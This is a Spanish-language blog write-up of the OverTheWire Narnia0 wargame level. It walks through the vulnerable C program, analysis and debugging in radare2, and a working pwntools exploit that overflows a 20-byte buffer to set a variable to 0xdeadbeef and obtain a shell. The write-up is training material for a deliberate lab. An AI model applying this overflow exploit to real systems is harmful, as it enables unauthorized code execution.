Buenos días!! En esta entrada veremos algo más básico que la anterior en la que explotaremos un buffer overflow (bof). Me diréis que ya existe una entrada sobre bof pero es interesante profundizar!.
Narnia0
La página que usaremos sera Overthewire Nos conectamos vía ssh:
ssh narnia0@narnia.labs.overthewire.org -p 2226
User:narnia0
Password:narnia0
Código fuente:
#include <stdio.h> #include <stdlib.h> int main(){ long val=0x41414141; char buf[20]; printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n"); printf("Here is your chance: "); scanf("%24s",&buf); printf("buf: %s\n",buf); printf("val: 0x%08x\n",val); if(val==0xdeadbeef){ setreuid(geteuid(),geteuid()); system("/bin/sh"); } else { printf("WAY OFF!!!!\n"); exit(1); } return 0; }
Análisis estático
Si observamos el código fuente para obtener la shell simplemente se tiene que cumplir la condición si val == 0xdeadbeef Es interesante saber como funciona el Stack o la Pila, para ello recomiendo como en la entrada anterior ver la primera entrada de la saga Diseccionando Binarios Primero como siempre tenemos que:
- Ver las strings en busca de información. Con IDA podemos automatizar estos procesos usando la api, tenéis mas información en esta entrada Scripting con IDAPython
- Interactuar con el binario para saber si existe algún input para introducir caracteres.
En esta entrada hare una de mis herramientas favoritas Radare2. Localizamos las strings: Podemos ver en las strings algo muy raro visualizando el valor de la variable «val», pero ya sabemos que su valor en el código fuente es 0x41414141, ¿que sentido tiene que me lo visualice? Quizás sea cómo es el valor que se compara con 0xdeadbeef, necesitamos sobreescribir esa variable con ese contenido para obtener la shell!. Entonces me diréis ¿para que vamos a trabajar de más viendo el código desensamblado y debuggearlo, si ya tenemos un leak de información que nos muestra el contenido de la variable a sobreescribir? Pues si, es trabajar de más porque es muy sencillo ya que es ir probando hasta dar con la cantidad de caracteres del buffer que sobreescribe la variable y así bypassear la estructura de control y ganar la shell. Pero como ami me gusta hacer las cosas bien, obviamos esa «ayuda» o leak de información y primero lo analizamos estáticamente y posteriormente dinámicamente haciendo debugging. Comenzamos con las primeras instrucciones en el desensamblado: La variable local_2ch es nuestra «val». En esas instrucciones llama a la función puts() y printf() que básicamente lo que hace es mostrar por la salida estándar los caracteres de las strings. En las siguientes instrucciones se hace uso de la función scanf() y dos printf(). Antes de llamar a la función scanf() lee los datos de entrada en el stdin. Esta función recibe dos argumentos el tipo de datos y una dirección de memoria de la variable donde se almacenará el dato. scanf(tipo, &var) Con la instrucción LEA mueve la dirección de memoria de local_18h, de ese modo ya sabemos que esa variable tendrá el contenido de lo que introduzcamos por stdin. Por último muestra por pantalla el valor del bufer introducido y el valor de la variable «val».
Debugging
Ahora viene la parte mas entretenida :). Comencemos por introducir por stdin «AAAABBBBCCCC». Colocamos un breakpoint con «db» justo en la dirección de memoria cuando el registro ESP contiene la dirección de memoria que contiene el valor de «val». Observamos que en la dirección de memoria 0xffffd5f0 esta el contenido de la variable «val»=AAAA, y mas abajo el contenido de nuestro buffer y luego otra vez las «AAAA». Ahora visualizamos con «Vpp» para visualizar el Stack, registros y el desensamblado: Con 12 caracteres no hemos podido sobreescribir, intentemos con el restante hasta llegar a esas «AAAA» que vimos. Y ahi esta mi amigo del blog Guille Hartek machacando el contenido de «val»! Gracias a esta variable que nos mostraba ese leak de información por pantalla al ejecutar el binario sabemos exactamente la posición en memoria de los bytes que se necesita «RTEK» justo a partir del 20: Y ahi vemos nuestras «FFFF» por stdin, ¿si pasamos 0xdeadbeef que pasará? Tenemos nuestro «val» como 0xdeadbeef. Ahora que tenemos localizado el fallo, escribimos el exploit haciendo uso de la lib pwntools
from pwn import * import time HOST = 'narnia.labs.overthewire.org' USERNAME = 'narnia0' PASS = 'narnia0' PORT=2226 s = ssh(host=HOST, user=USERNAME, password=PASS, port=PORT) directorio = "/narnia" binario = '%s/narnia0' % directorio r = s.run(binario) r.send('A'*20) #Escribimos en el buffer hasta llegar al punto de sobreescribir r.send('\xef\xbe\xad\xde') #escribimos el valor que nos interesa para que cumpla la condicion y obtener la /bin/sh r.send('a') #eliminamos cualquier basura del buffer r.clean() #Le damos tiempo time.sleep(2) #Y shell interactiva! r.interactive()
Exploitation
Un saludo y hasta la próxima!!